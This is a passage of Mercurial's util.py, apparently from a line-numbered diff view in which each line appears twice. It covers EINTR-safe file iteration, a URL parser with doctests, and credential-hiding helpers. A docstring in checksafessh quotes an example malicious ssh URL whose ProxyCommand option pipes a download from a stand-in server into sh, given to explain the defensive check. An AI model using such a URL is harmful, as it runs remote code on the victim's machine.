2833 0,
2824 ):
2834 ):
2825 # There is an issue in CPython that some IO methods do not handle EINTR
2835 # There is an issue in CPython that some IO methods do not handle EINTR
2826 # correctly. The following table shows what CPython version (and functions)
2836 # correctly. The following table shows what CPython version (and functions)
2827 # are affected (buggy: has the EINTR bug, okay: otherwise):
2837 # are affected (buggy: has the EINTR bug, okay: otherwise):
2828 #
2838 #
2829 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2839 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2830 # --------------------------------------------------
2840 # --------------------------------------------------
2831 # fp.__iter__ | buggy | buggy | okay
2841 # fp.__iter__ | buggy | buggy | okay
2832 # fp.read* | buggy | okay [1] | okay
2842 # fp.read* | buggy | okay [1] | okay
2833 #
2843 #
2834 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2844 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2835 #
2845 #
2836 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2846 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2837 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2847 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2838 #
2848 #
2839 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2849 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2840 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2850 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2841 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2851 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2842 # fp.__iter__ but not other fp.read* methods.
2852 # fp.__iter__ but not other fp.read* methods.
2843 #
2853 #
2844 # On modern systems like Linux, the "read" syscall cannot be interrupted
2854 # On modern systems like Linux, the "read" syscall cannot be interrupted
2845 # when reading "fast" files like on-disk files. So the EINTR issue only
2855 # when reading "fast" files like on-disk files. So the EINTR issue only
2846 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2856 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2847 # files approximately as "fast" files and use the fast (unsafe) code path,
2857 # files approximately as "fast" files and use the fast (unsafe) code path,
2848 # to minimize the performance impact.
2858 # to minimize the performance impact.
2849 if sys.version_info >= (2, 7, 4):
2859 if sys.version_info >= (2, 7, 4):
2850 # fp.readline deals with EINTR correctly, use it as a workaround.
2860 # fp.readline deals with EINTR correctly, use it as a workaround.
2851 def _safeiterfile(fp):
2861 def _safeiterfile(fp):
2852 return iter(fp.readline, b'')
2862 return iter(fp.readline, b'')
2853
2863
2854 else:
2864 else:
2855 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2865 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2856 # note: this may block longer than necessary because of bufsize.
2866 # note: this may block longer than necessary because of bufsize.
2857 def _safeiterfile(fp, bufsize=4096):
2867 def _safeiterfile(fp, bufsize=4096):
2858 fd = fp.fileno()
2868 fd = fp.fileno()
2859 line = b''
2869 line = b''
2860 while True:
2870 while True:
2861 try:
2871 try:
2862 buf = os.read(fd, bufsize)
2872 buf = os.read(fd, bufsize)
2863 except OSError as ex:
2873 except OSError as ex:
2864 # os.read only raises EINTR before any data is read
2874 # os.read only raises EINTR before any data is read
2865 if ex.errno == errno.EINTR:
2875 if ex.errno == errno.EINTR:
2866 continue
2876 continue
2867 else:
2877 else:
2868 raise
2878 raise
2869 line += buf
2879 line += buf
2870 if b'\n' in buf:
2880 if b'\n' in buf:
2871 splitted = line.splitlines(True)
2881 splitted = line.splitlines(True)
2872 line = b''
2882 line = b''
2873 for l in splitted:
2883 for l in splitted:
2874 if l[-1] == b'\n':
2884 if l[-1] == b'\n':
2875 yield l
2885 yield l
2876 else:
2886 else:
2877 line = l
2887 line = l
2878 if not buf:
2888 if not buf:
2879 break
2889 break
2880 if line:
2890 if line:
2881 yield line
2891 yield line
2882
2892
2883 def iterfile(fp):
2893 def iterfile(fp):
2884 fastpath = True
2894 fastpath = True
2885 if type(fp) is file:
2895 if type(fp) is file:
2886 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2896 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2887 if fastpath:
2897 if fastpath:
2888 return fp
2898 return fp
2889 else:
2899 else:
2890 return _safeiterfile(fp)
2900 return _safeiterfile(fp)
2891
2901
2892
2902
2893 else:
2903 else:
2894 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2904 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2895 def iterfile(fp):
2905 def iterfile(fp):
2896 return fp
2906 return fp
2897
2907
2898
2908
2899 def iterlines(iterator):
2909 def iterlines(iterator):
2900 for chunk in iterator:
2910 for chunk in iterator:
2901 for line in chunk.splitlines():
2911 for line in chunk.splitlines():
2902 yield line
2912 yield line
2903
2913
2904
2914
2905 def expandpath(path):
2915 def expandpath(path):
2906 return os.path.expanduser(os.path.expandvars(path))
2916 return os.path.expanduser(os.path.expandvars(path))
2907
2917
2908
2918
2909 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2919 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2910 """Return the result of interpolating items in the mapping into string s.
2920 """Return the result of interpolating items in the mapping into string s.
2911
2921
2912 prefix is a single character string, or a two character string with
2922 prefix is a single character string, or a two character string with
2913 a backslash as the first character if the prefix needs to be escaped in
2923 a backslash as the first character if the prefix needs to be escaped in
2914 a regular expression.
2924 a regular expression.
2915
2925
2916 fn is an optional function that will be applied to the replacement text
2926 fn is an optional function that will be applied to the replacement text
2917 just before replacement.
2927 just before replacement.
2918
2928
2919 escape_prefix is an optional flag that allows using doubled prefix for
2929 escape_prefix is an optional flag that allows using doubled prefix for
2920 its escaping.
2930 its escaping.
2921 """
2931 """
2922 fn = fn or (lambda s: s)
2932 fn = fn or (lambda s: s)
2923 patterns = b'|'.join(mapping.keys())
2933 patterns = b'|'.join(mapping.keys())
2924 if escape_prefix:
2934 if escape_prefix:
2925 patterns += b'|' + prefix
2935 patterns += b'|' + prefix
2926 if len(prefix) > 1:
2936 if len(prefix) > 1:
2927 prefix_char = prefix[1:]
2937 prefix_char = prefix[1:]
2928 else:
2938 else:
2929 prefix_char = prefix
2939 prefix_char = prefix
2930 mapping[prefix_char] = prefix_char
2940 mapping[prefix_char] = prefix_char
2931 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2941 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2932 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2942 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2933
2943
2934
2944
2935 def getport(port):
2945 def getport(port):
2936 """Return the port for a given network service.
2946 """Return the port for a given network service.
2937
2947
2938 If port is an integer, it's returned as is. If it's a string, it's
2948 If port is an integer, it's returned as is. If it's a string, it's
2939 looked up using socket.getservbyname(). If there's no matching
2949 looked up using socket.getservbyname(). If there's no matching
2940 service, error.Abort is raised.
2950 service, error.Abort is raised.
2941 """
2951 """
2942 try:
2952 try:
2943 return int(port)
2953 return int(port)
2944 except ValueError:
2954 except ValueError:
2945 pass
2955 pass
2946
2956
2947 try:
2957 try:
2948 return socket.getservbyname(pycompat.sysstr(port))
2958 return socket.getservbyname(pycompat.sysstr(port))
2949 except socket.error:
2959 except socket.error:
2950 raise error.Abort(
2960 raise error.Abort(
2951 _(b"no port number associated with service '%s'") % port
2961 _(b"no port number associated with service '%s'") % port
2952 )
2962 )
2953
2963
2954
2964
2955 class url(object):
2965 class url(object):
2956 r"""Reliable URL parser.
2966 r"""Reliable URL parser.
2957
2967
2958 This parses URLs and provides attributes for the following
2968 This parses URLs and provides attributes for the following
2959 components:
2969 components:
2960
2970
2961 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2971 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2962
2972
2963 Missing components are set to None. The only exception is
2973 Missing components are set to None. The only exception is
2964 fragment, which is set to '' if present but empty.
2974 fragment, which is set to '' if present but empty.
2965
2975
2966 If parsefragment is False, fragment is included in query. If
2976 If parsefragment is False, fragment is included in query. If
2967 parsequery is False, query is included in path. If both are
2977 parsequery is False, query is included in path. If both are
2968 False, both fragment and query are included in path.
2978 False, both fragment and query are included in path.
2969
2979
2970 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2980 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2971
2981
2972 Note that for backward compatibility reasons, bundle URLs do not
2982 Note that for backward compatibility reasons, bundle URLs do not
2973 take host names. That means 'bundle://../' has a path of '../'.
2983 take host names. That means 'bundle://../' has a path of '../'.
2974
2984
2975 Examples:
2985 Examples:
2976
2986
2977 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2987 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2978 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2988 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2979 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2989 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2980 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2990 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2981 >>> url(b'file:///home/joe/repo')
2991 >>> url(b'file:///home/joe/repo')
2982 <url scheme: 'file', path: '/home/joe/repo'>
2992 <url scheme: 'file', path: '/home/joe/repo'>
2983 >>> url(b'file:///c:/temp/foo/')
2993 >>> url(b'file:///c:/temp/foo/')
2984 <url scheme: 'file', path: 'c:/temp/foo/'>
2994 <url scheme: 'file', path: 'c:/temp/foo/'>
2985 >>> url(b'bundle:foo')
2995 >>> url(b'bundle:foo')
2986 <url scheme: 'bundle', path: 'foo'>
2996 <url scheme: 'bundle', path: 'foo'>
2987 >>> url(b'bundle://../foo')
2997 >>> url(b'bundle://../foo')
2988 <url scheme: 'bundle', path: '../foo'>
2998 <url scheme: 'bundle', path: '../foo'>
2989 >>> url(br'c:\foo\bar')
2999 >>> url(br'c:\foo\bar')
2990 <url path: 'c:\\foo\\bar'>
3000 <url path: 'c:\\foo\\bar'>
2991 >>> url(br'\\blah\blah\blah')
3001 >>> url(br'\\blah\blah\blah')
2992 <url path: '\\\\blah\\blah\\blah'>
3002 <url path: '\\\\blah\\blah\\blah'>
2993 >>> url(br'\\blah\blah\blah#baz')
3003 >>> url(br'\\blah\blah\blah#baz')
2994 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
3004 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2995 >>> url(br'file:///C:\users\me')
3005 >>> url(br'file:///C:\users\me')
2996 <url scheme: 'file', path: 'C:\\users\\me'>
3006 <url scheme: 'file', path: 'C:\\users\\me'>
2997
3007
2998 Authentication credentials:
3008 Authentication credentials:
2999
3009
3000 >>> url(b'ssh://joe:xyz@x/repo')
3010 >>> url(b'ssh://joe:xyz@x/repo')
3001 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3011 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3002 >>> url(b'ssh://joe@x/repo')
3012 >>> url(b'ssh://joe@x/repo')
3003 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3013 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3004
3014
3005 Query strings and fragments:
3015 Query strings and fragments:
3006
3016
3007 >>> url(b'http://host/a?b#c')
3017 >>> url(b'http://host/a?b#c')
3008 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3018 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3009 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3019 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3010 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3020 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3011
3021
3012 Empty path:
3022 Empty path:
3013
3023
3014 >>> url(b'')
3024 >>> url(b'')
3015 <url path: ''>
3025 <url path: ''>
3016 >>> url(b'#a')
3026 >>> url(b'#a')
3017 <url path: '', fragment: 'a'>
3027 <url path: '', fragment: 'a'>
3018 >>> url(b'http://host/')
3028 >>> url(b'http://host/')
3019 <url scheme: 'http', host: 'host', path: ''>
3029 <url scheme: 'http', host: 'host', path: ''>
3020 >>> url(b'http://host/#a')
3030 >>> url(b'http://host/#a')
3021 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3031 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3022
3032
3023 Only scheme:
3033 Only scheme:
3024
3034
3025 >>> url(b'http:')
3035 >>> url(b'http:')
3026 <url scheme: 'http'>
3036 <url scheme: 'http'>
3027 """
3037 """
3028
3038
3029 _safechars = b"!~*'()+"
3039 _safechars = b"!~*'()+"
3030 _safepchars = b"/!~*'()+:\\"
3040 _safepchars = b"/!~*'()+:\\"
3031 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3041 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3032
3042
3033 def __init__(self, path, parsequery=True, parsefragment=True):
3043 def __init__(self, path, parsequery=True, parsefragment=True):
3034 # We slowly chomp away at path until we have only the path left
3044 # We slowly chomp away at path until we have only the path left
3035 self.scheme = self.user = self.passwd = self.host = None
3045 self.scheme = self.user = self.passwd = self.host = None
3036 self.port = self.path = self.query = self.fragment = None
3046 self.port = self.path = self.query = self.fragment = None
3037 self._localpath = True
3047 self._localpath = True
3038 self._hostport = b''
3048 self._hostport = b''
3039 self._origpath = path
3049 self._origpath = path
3040
3050
3041 if parsefragment and b'#' in path:
3051 if parsefragment and b'#' in path:
3042 path, self.fragment = path.split(b'#', 1)
3052 path, self.fragment = path.split(b'#', 1)
3043
3053
3044 # special case for Windows drive letters and UNC paths
3054 # special case for Windows drive letters and UNC paths
3045 if hasdriveletter(path) or path.startswith(b'\\\\'):
3055 if hasdriveletter(path) or path.startswith(b'\\\\'):
3046 self.path = path
3056 self.path = path
3047 return
3057 return
3048
3058
3049 # For compatibility reasons, we can't handle bundle paths as
3059 # For compatibility reasons, we can't handle bundle paths as
3050 # normal URLS
3060 # normal URLS
3051 if path.startswith(b'bundle:'):
3061 if path.startswith(b'bundle:'):
3052 self.scheme = b'bundle'
3062 self.scheme = b'bundle'
3053 path = path[7:]
3063 path = path[7:]
3054 if path.startswith(b'//'):
3064 if path.startswith(b'//'):
3055 path = path[2:]
3065 path = path[2:]
3056 self.path = path
3066 self.path = path
3057 return
3067 return
3058
3068
3059 if self._matchscheme(path):
3069 if self._matchscheme(path):
3060 parts = path.split(b':', 1)
3070 parts = path.split(b':', 1)
3061 if parts[0]:
3071 if parts[0]:
3062 self.scheme, path = parts
3072 self.scheme, path = parts
3063 self._localpath = False
3073 self._localpath = False
3064
3074
3065 if not path:
3075 if not path:
3066 path = None
3076 path = None
3067 if self._localpath:
3077 if self._localpath:
3068 self.path = b''
3078 self.path = b''
3069 return
3079 return
3070 else:
3080 else:
3071 if self._localpath:
3081 if self._localpath:
3072 self.path = path
3082 self.path = path
3073 return
3083 return
3074
3084
3075 if parsequery and b'?' in path:
3085 if parsequery and b'?' in path:
3076 path, self.query = path.split(b'?', 1)
3086 path, self.query = path.split(b'?', 1)
3077 if not path:
3087 if not path:
3078 path = None
3088 path = None
3079 if not self.query:
3089 if not self.query:
3080 self.query = None
3090 self.query = None
3081
3091
3082 # // is required to specify a host/authority
3092 # // is required to specify a host/authority
3083 if path and path.startswith(b'//'):
3093 if path and path.startswith(b'//'):
3084 parts = path[2:].split(b'/', 1)
3094 parts = path[2:].split(b'/', 1)
3085 if len(parts) > 1:
3095 if len(parts) > 1:
3086 self.host, path = parts
3096 self.host, path = parts
3087 else:
3097 else:
3088 self.host = parts[0]
3098 self.host = parts[0]
3089 path = None
3099 path = None
3090 if not self.host:
3100 if not self.host:
3091 self.host = None
3101 self.host = None
3092 # path of file:///d is /d
3102 # path of file:///d is /d
3093 # path of file:///d:/ is d:/, not /d:/
3103 # path of file:///d:/ is d:/, not /d:/
3094 if path and not hasdriveletter(path):
3104 if path and not hasdriveletter(path):
3095 path = b'/' + path
3105 path = b'/' + path
3096
3106
3097 if self.host and b'@' in self.host:
3107 if self.host and b'@' in self.host:
3098 self.user, self.host = self.host.rsplit(b'@', 1)
3108 self.user, self.host = self.host.rsplit(b'@', 1)
3099 if b':' in self.user:
3109 if b':' in self.user:
3100 self.user, self.passwd = self.user.split(b':', 1)
3110 self.user, self.passwd = self.user.split(b':', 1)
3101 if not self.host:
3111 if not self.host:
3102 self.host = None
3112 self.host = None
3103
3113
3104 # Don't split on colons in IPv6 addresses without ports
3114 # Don't split on colons in IPv6 addresses without ports
3105 if (
3115 if (
3106 self.host
3116 self.host
3107 and b':' in self.host
3117 and b':' in self.host
3108 and not (
3118 and not (
3109 self.host.startswith(b'[') and self.host.endswith(b']')
3119 self.host.startswith(b'[') and self.host.endswith(b']')
3110 )
3120 )
3111 ):
3121 ):
3112 self._hostport = self.host
3122 self._hostport = self.host
3113 self.host, self.port = self.host.rsplit(b':', 1)
3123 self.host, self.port = self.host.rsplit(b':', 1)
3114 if not self.host:
3124 if not self.host:
3115 self.host = None
3125 self.host = None
3116
3126
3117 if (
3127 if (
3118 self.host
3128 self.host
3119 and self.scheme == b'file'
3129 and self.scheme == b'file'
3120 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3130 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3121 ):
3131 ):
3122 raise error.Abort(
3132 raise error.Abort(
3123 _(b'file:// URLs can only refer to localhost')
3133 _(b'file:// URLs can only refer to localhost')
3124 )
3134 )
3125
3135
3126 self.path = path
3136 self.path = path
3127
3137
3128 # leave the query string escaped
3138 # leave the query string escaped
3129 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3139 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3130 v = getattr(self, a)
3140 v = getattr(self, a)
3131 if v is not None:
3141 if v is not None:
3132 setattr(self, a, urlreq.unquote(v))
3142 setattr(self, a, urlreq.unquote(v))
3133
3143
3134 @encoding.strmethod
3144 @encoding.strmethod
3135 def __repr__(self):
3145 def __repr__(self):
3136 attrs = []
3146 attrs = []
3137 for a in (
3147 for a in (
3138 b'scheme',
3148 b'scheme',
3139 b'user',
3149 b'user',
3140 b'passwd',
3150 b'passwd',
3141 b'host',
3151 b'host',
3142 b'port',
3152 b'port',
3143 b'path',
3153 b'path',
3144 b'query',
3154 b'query',
3145 b'fragment',
3155 b'fragment',
3146 ):
3156 ):
3147 v = getattr(self, a)
3157 v = getattr(self, a)
3148 if v is not None:
3158 if v is not None:
3149 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3159 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3150 return b'<url %s>' % b', '.join(attrs)
3160 return b'<url %s>' % b', '.join(attrs)
3151
3161
3152 def __bytes__(self):
3162 def __bytes__(self):
3153 r"""Join the URL's components back into a URL string.
3163 r"""Join the URL's components back into a URL string.
3154
3164
3155 Examples:
3165 Examples:
3156
3166
3157 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3167 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3158 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3168 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3159 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3169 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3160 'http://user:pw@host:80/?foo=bar&baz=42'
3170 'http://user:pw@host:80/?foo=bar&baz=42'
3161 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3171 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3162 'http://user:pw@host:80/?foo=bar%3dbaz'
3172 'http://user:pw@host:80/?foo=bar%3dbaz'
3163 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3173 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3164 'ssh://user:pw@[::1]:2200//home/joe#'
3174 'ssh://user:pw@[::1]:2200//home/joe#'
3165 >>> bytes(url(b'http://localhost:80//'))
3175 >>> bytes(url(b'http://localhost:80//'))
3166 'http://localhost:80//'
3176 'http://localhost:80//'
3167 >>> bytes(url(b'http://localhost:80/'))
3177 >>> bytes(url(b'http://localhost:80/'))
3168 'http://localhost:80/'
3178 'http://localhost:80/'
3169 >>> bytes(url(b'http://localhost:80'))
3179 >>> bytes(url(b'http://localhost:80'))
3170 'http://localhost:80/'
3180 'http://localhost:80/'
3171 >>> bytes(url(b'bundle:foo'))
3181 >>> bytes(url(b'bundle:foo'))
3172 'bundle:foo'
3182 'bundle:foo'
3173 >>> bytes(url(b'bundle://../foo'))
3183 >>> bytes(url(b'bundle://../foo'))
3174 'bundle:../foo'
3184 'bundle:../foo'
3175 >>> bytes(url(b'path'))
3185 >>> bytes(url(b'path'))
3176 'path'
3186 'path'
3177 >>> bytes(url(b'file:///tmp/foo/bar'))
3187 >>> bytes(url(b'file:///tmp/foo/bar'))
3178 'file:///tmp/foo/bar'
3188 'file:///tmp/foo/bar'
3179 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3189 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3180 'file:///c:/tmp/foo/bar'
3190 'file:///c:/tmp/foo/bar'
3181 >>> print(url(br'bundle:foo\bar'))
3191 >>> print(url(br'bundle:foo\bar'))
3182 bundle:foo\bar
3192 bundle:foo\bar
3183 >>> print(url(br'file:///D:\data\hg'))
3193 >>> print(url(br'file:///D:\data\hg'))
3184 file:///D:\data\hg
3194 file:///D:\data\hg
3185 """
3195 """
3186 if self._localpath:
3196 if self._localpath:
3187 s = self.path
3197 s = self.path
3188 if self.scheme == b'bundle':
3198 if self.scheme == b'bundle':
3189 s = b'bundle:' + s
3199 s = b'bundle:' + s
3190 if self.fragment:
3200 if self.fragment:
3191 s += b'#' + self.fragment
3201 s += b'#' + self.fragment
3192 return s
3202 return s
3193
3203
3194 s = self.scheme + b':'
3204 s = self.scheme + b':'
3195 if self.user or self.passwd or self.host:
3205 if self.user or self.passwd or self.host:
3196 s += b'//'
3206 s += b'//'
3197 elif self.scheme and (
3207 elif self.scheme and (
3198 not self.path
3208 not self.path
3199 or self.path.startswith(b'/')
3209 or self.path.startswith(b'/')
3200 or hasdriveletter(self.path)
3210 or hasdriveletter(self.path)
3201 ):
3211 ):
3202 s += b'//'
3212 s += b'//'
3203 if hasdriveletter(self.path):
3213 if hasdriveletter(self.path):
3204 s += b'/'
3214 s += b'/'
3205 if self.user:
3215 if self.user:
3206 s += urlreq.quote(self.user, safe=self._safechars)
3216 s += urlreq.quote(self.user, safe=self._safechars)
3207 if self.passwd:
3217 if self.passwd:
3208 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3218 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3209 if self.user or self.passwd:
3219 if self.user or self.passwd:
3210 s += b'@'
3220 s += b'@'
3211 if self.host:
3221 if self.host:
3212 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3222 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3213 s += urlreq.quote(self.host)
3223 s += urlreq.quote(self.host)
3214 else:
3224 else:
3215 s += self.host
3225 s += self.host
3216 if self.port:
3226 if self.port:
3217 s += b':' + urlreq.quote(self.port)
3227 s += b':' + urlreq.quote(self.port)
3218 if self.host:
3228 if self.host:
3219 s += b'/'
3229 s += b'/'
3220 if self.path:
3230 if self.path:
3221 # TODO: similar to the query string, we should not unescape the
3231 # TODO: similar to the query string, we should not unescape the
3222 # path when we store it, the path might contain '%2f' = '/',
3232 # path when we store it, the path might contain '%2f' = '/',
3223 # which we should *not* escape.
3233 # which we should *not* escape.
3224 s += urlreq.quote(self.path, safe=self._safepchars)
3234 s += urlreq.quote(self.path, safe=self._safepchars)
3225 if self.query:
3235 if self.query:
3226 # we store the query in escaped form.
3236 # we store the query in escaped form.
3227 s += b'?' + self.query
3237 s += b'?' + self.query
3228 if self.fragment is not None:
3238 if self.fragment is not None:
3229 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3239 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3230 return s
3240 return s
3231
3241
3232 __str__ = encoding.strmethod(__bytes__)
3242 __str__ = encoding.strmethod(__bytes__)
3233
3243
3234 def authinfo(self):
3244 def authinfo(self):
3235 user, passwd = self.user, self.passwd
3245 user, passwd = self.user, self.passwd
3236 try:
3246 try:
3237 self.user, self.passwd = None, None
3247 self.user, self.passwd = None, None
3238 s = bytes(self)
3248 s = bytes(self)
3239 finally:
3249 finally:
3240 self.user, self.passwd = user, passwd
3250 self.user, self.passwd = user, passwd
3241 if not self.user:
3251 if not self.user:
3242 return (s, None)
3252 return (s, None)
3243 # authinfo[1] is passed to urllib2 password manager, and its
3253 # authinfo[1] is passed to urllib2 password manager, and its
3244 # URIs must not contain credentials. The host is passed in the
3254 # URIs must not contain credentials. The host is passed in the
3245 # URIs list because Python < 2.4.3 uses only that to search for
3255 # URIs list because Python < 2.4.3 uses only that to search for
3246 # a password.
3256 # a password.
3247 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3257 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3248
3258
3249 def isabs(self):
3259 def isabs(self):
3250 if self.scheme and self.scheme != b'file':
3260 if self.scheme and self.scheme != b'file':
3251 return True # remote URL
3261 return True # remote URL
3252 if hasdriveletter(self.path):
3262 if hasdriveletter(self.path):
3253 return True # absolute for our purposes - can't be joined()
3263 return True # absolute for our purposes - can't be joined()
3254 if self.path.startswith(br'\\'):
3264 if self.path.startswith(br'\\'):
3255 return True # Windows UNC path
3265 return True # Windows UNC path
3256 if self.path.startswith(b'/'):
3266 if self.path.startswith(b'/'):
3257 return True # POSIX-style
3267 return True # POSIX-style
3258 return False
3268 return False
3259
3269
3260 def localpath(self):
3270 def localpath(self):
3261 if self.scheme == b'file' or self.scheme == b'bundle':
3271 if self.scheme == b'file' or self.scheme == b'bundle':
3262 path = self.path or b'/'
3272 path = self.path or b'/'
3263 # For Windows, we need to promote hosts containing drive
3273 # For Windows, we need to promote hosts containing drive
3264 # letters to paths with drive letters.
3274 # letters to paths with drive letters.
3265 if hasdriveletter(self._hostport):
3275 if hasdriveletter(self._hostport):
3266 path = self._hostport + b'/' + self.path
3276 path = self._hostport + b'/' + self.path
3267 elif (
3277 elif (
3268 self.host is not None and self.path and not hasdriveletter(path)
3278 self.host is not None and self.path and not hasdriveletter(path)
3269 ):
3279 ):
3270 path = b'/' + path
3280 path = b'/' + path
3271 return path
3281 return path
3272 return self._origpath
3282 return self._origpath
3273
3283
3274 def islocal(self):
3284 def islocal(self):
3275 '''whether localpath will return something that posixfile can open'''
3285 '''whether localpath will return something that posixfile can open'''
3276 return (
3286 return (
3277 not self.scheme
3287 not self.scheme
3278 or self.scheme == b'file'
3288 or self.scheme == b'file'
3279 or self.scheme == b'bundle'
3289 or self.scheme == b'bundle'
3280 )
3290 )
3281
3291
3282
3292
3283 def hasscheme(path):
3293 def hasscheme(path):
3284 return bool(url(path).scheme)
3294 return bool(url(path).scheme)
3285
3295
3286
3296
3287 def hasdriveletter(path):
3297 def hasdriveletter(path):
3288 return path and path[1:2] == b':' and path[0:1].isalpha()
3298 return path and path[1:2] == b':' and path[0:1].isalpha()
3289
3299
3290
3300
3291 def urllocalpath(path):
3301 def urllocalpath(path):
3292 return url(path, parsequery=False, parsefragment=False).localpath()
3302 return url(path, parsequery=False, parsefragment=False).localpath()
3293
3303
3294
3304
3295 def checksafessh(path):
3305 def checksafessh(path):
3296 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3306 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3297
3307
3298 This is a sanity check for ssh urls. ssh will parse the first item as
3308 This is a sanity check for ssh urls. ssh will parse the first item as
3299 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3309 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3300 Let's prevent these potentially exploited urls entirely and warn the
3310 Let's prevent these potentially exploited urls entirely and warn the
3301 user.
3311 user.
3302
3312
3303 Raises an error.Abort when the url is unsafe.
3313 Raises an error.Abort when the url is unsafe.
3304 """
3314 """
3305 path = urlreq.unquote(path)
3315 path = urlreq.unquote(path)
3306 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3316 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3307 raise error.Abort(
3317 raise error.Abort(
3308 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3318 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3309 )
3319 )
3310
3320
3311
3321
3312 def hidepassword(u):
3322 def hidepassword(u):
3313 '''hide user credential in a url string'''
3323 '''hide user credential in a url string'''
3314 u = url(u)
3324 u = url(u)
3315 if u.passwd:
3325 if u.passwd:
3316 u.passwd = b'***'
3326 u.passwd = b'***'
3317 return bytes(u)
3327 return bytes(u)
3318
3328
3319
3329
3320 def removeauth(u):
3330 def removeauth(u):
3321 '''remove all authentication information from a url string'''
3331 '''remove all authentication information from a url string'''
3322 u = url(u)
3332 u = url(u)
3323 u.user = u.passwd = None
3333 u.user = u.passwd = None
3324 return bytes(u)
3334 return bytes(u)
3325
3335
3326
3336
3327 timecount = unitcountfn(
